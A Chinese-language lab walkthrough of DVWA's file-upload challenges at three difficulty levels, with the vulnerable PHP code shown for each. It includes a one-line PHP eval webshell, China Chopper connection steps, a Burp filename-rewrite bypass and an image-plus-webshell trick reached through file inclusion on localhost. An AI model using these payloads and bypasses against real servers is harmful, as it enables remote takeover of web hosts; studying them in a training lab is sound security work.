总结了dvwa中的文件上传漏洞关卡

Low

代码复现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

if(isset($_POST['upload'])){
$target_path="C:/phpStudy/PHPTutorial/WWW/demo/file-upload/uploaded/";
$target_path .= basename($_FILES['file']['name']);
if(!move_uploaded_file($_FILES['file']['tmp_name'],$target_path)){
echo '<pre>Your image was not uploaded.</pre>';
}
else{
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}

?>

这部分内容涉及文件上传,我们先认识一下如何上传一个文件到服务器

表单标签部分:

1
2
3
4
5
6
7
8
9
<form action="" method="post" enctype="multipart/form-data">
<p>Choose an image to upload:</p>
<p>
<input type="file" name="file">
</p>
<p>
<input type="submit" name="upload" value="upload">
</p>
</form>

这里特别注意的是form标签中的entype属性规定了提交表单后如何对提交的数据进行编码,在表单需要提交二进制数据时,比如文件内容,要使用“multipart/form-data”

同时这里用了一个全局变量$_FILES

举个例子说明用法

1
2
3
4
5
6
7
8
9
10
11
<?php

if(isset($_POST['upload'])){
echo 'name:'.$_FILES['file']['name'].'<br>';
echo 'type:'.$_FILES['file']['type'].'<br>';
echo 'tmp_name:'.$_FILES['file']['tmp_name'].'<br>';
echo 'size:'.$_FILES['file']['size'].'<br>';
echo basename($_FILES['file']['name']);
}

?>

这里需要注意服务器接受的POST参数是upload,全局变量$_FILES,代表了上传到服务器的文件信息

其中

1
2
3
4
5
6
7
8

$_FILES[‘file‘][‘name’] : 代表上传文件的名称

$_FILES[‘file’][‘size’] : 代表上传文件的大小

$_FILES[‘file’][‘tmp_name’] : 代表上传的文件存储的临时路径

$_FILES[‘file’][‘type’] : 代表上传文件的类型

我们上传一个png文件试试

basename函数返回的是文件名,如果参数省略,则返回的文件名包含后缀

1
echo basename($_FILES['file']['name'],'.png');

如果过滤掉.png后缀名,则上传png文件是不会返回.png的后缀名

move_uploaded_file函数作用是将我们上传的文件从临时目录移动到指定目录下,成功返回true,失败则返回false

我们试着上传一个png文件

看出上传成功

由于这里对我们上传的文件没有任何的检查,过滤等操作,因此我们可以上传任意木马文件,得到webshell,这就是文件上传漏洞

我们上传一句话木马到服务器,文件名为test.php

一句话木马代码为:

1
<?php eval($_POST['apple']); ?>

打开中国菜刀

输入文件名所在地,然后POST的参数名称为apple

然后菜刀就会向服务器发送包含apple参数的POST请求,最终获得服务器的webshell权限

Medium

代码复现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

if(isset($_POST['upload'])){
$name=$_FILES['file']['name'];
$size=$_FILES['file']['size'];
$type=$_FILES['file']['type'];

if(($type == "image/png" || $type == "image/jpeg") && $size < 100000){
$target_path="C:/phpStudy/PHPTutorial/WWW/demo/file-upload/uploaded/";
$target_path .= basename($name);
if(!move_uploaded_file($_FILES['file']['tmp_name'],$target_path)){
echo '<pre>Your image was not uploaded.</pre>';
}
else{
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else{
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}

?>

这关对上传文件进行了一些过滤,可以看出只能上传jpg和png为后缀名的文件,并且文件大小不能超过100000B,因为我们上传的是一句话木马文件,所以不用担心文件大小超过限制,现在要考虑的是如何绕过后缀名的限制

我们先试着把一句话木马文件后缀名改为图片文件,然后上传

可以看到上传成功

那么我们打开中国菜刀,看看能不能获得webshell

获取webshell失败

可见图片文件是不行的,执行不了POST到服务器的命令

那么我们可以考虑用burp抓包,将文件名修改为test.php

可以看到我们上传的文件类型是png,是图片文件,符合条件上传成功,但是因为上传后图片就是png文件,所以菜刀POST到服务器的相关命令无法执行,所以我们要将上传成功后的文件名修改为php文件,这样就可以成功执行命令

成功上传,再上菜刀

成功获得webshell

High

代码复现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if(isset($_POST['upload'])){
$name=$_FILES['file']['name'];
$tmp_name=$_FILES['file']['tmp_name'];
$size=$_FILES['file']['size'];
$txt=substr($name,strrpos($name,'.')+1);

if((strtolower($txt) == 'jpg' || strtolower($txt) == 'jpeg' || strtolower($txt) == 'png') && $size < 100000 && getimagesize($tmp_name)){
$target_path="C:/phpStudy/PHPTutorial/WWW/demo/file-upload/uploaded/";
$target_path .= basename($name);
if(!move_uploaded_file($tmp_name,$target_path)){
echo '<pre>Your image was not uploaded.</pre>';
}
else{
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else{
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}

?>

先了解几个函数

strpos:搜索字符串在另一字符串中第一次出现的位置(区分大小写)

stripos:搜索字符串在另一字符串中第一次出现的位置(不区分大小写)

strrpos:搜索字符串在另一字符串中最后一次出现的位置(区分大小写)

strripos:搜索字符串在另一字符串中最后一次出现的位置(不区分大小写)

举个例子说明:

1
2
3
4
5
6
7
8
9
10
11
<?php

$str="I love php,the greatest language is php.";

echo stripos($str,'PHP')."<br>";
echo strpos($str,'PHP')."<br>";
echo strrpos($str,'PHP')."<br>";
echo strrpos($str,'php')."<br>";
echo strripos($str,'PHP')."<br>";

?>

执行结果:

而getimagesize函数会检测上传文件头,如果不包含相关的图片文件头,则报错

也就是说我们上传的文件名后缀必须是jpg,jepg,png,而且文件头必须是图像类型

在上一关中,是对上传文件的类型进行检查,如果不是图片类型则过滤,所以我们可以用burpsuite将发向服务器的请求中的文件名改为.php的后缀,这样类型依然是图片,就能巧妙的绕过过滤

而这一关是对上传文件的名字进行了检查,名字的后缀必须是.jpg或者.png或者.jpeg,而且文件的头信息必须是图片,上一关的方法修改文件名明显行不通,也就是说我们必须老实上传一个图片文件

但是我们可以将php代码加入到图片中

我们先创建一个一句话木马文件和一个图片文件

再打开cmd,利用copy命令将两个文件合并为一个文件

打开合并后的文件可以看到,一句话木马被加到了最后

然后上传

成功通过检查

接下来打开菜刀

右键添加

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file:///C:/phpStudy/PHPTutorial/WWW/dvwa/hackable/uploads/hack.jpg

参数名写apple,脚本语言选择php

成功拿到webshell